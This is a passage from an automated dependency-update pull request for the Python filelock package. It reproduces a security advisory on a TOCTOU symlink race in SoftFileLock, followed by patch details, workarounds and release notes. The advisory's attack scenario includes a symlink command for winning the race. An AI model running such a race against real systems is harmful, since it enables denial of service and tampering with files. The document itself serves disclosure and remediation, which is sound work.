255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.31.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.2)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.1...3.31.2)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.2 -->

#### What's Changed

- 🐛 fix(strict): tolerate an errno without ENOTSUP by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#681](https://redirect.github.com/tox-dev/filelock/pull/681)

**Full Changelog**:
<tox-dev/filelock@3.31.1...3.31.2>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNTEuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI1MS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant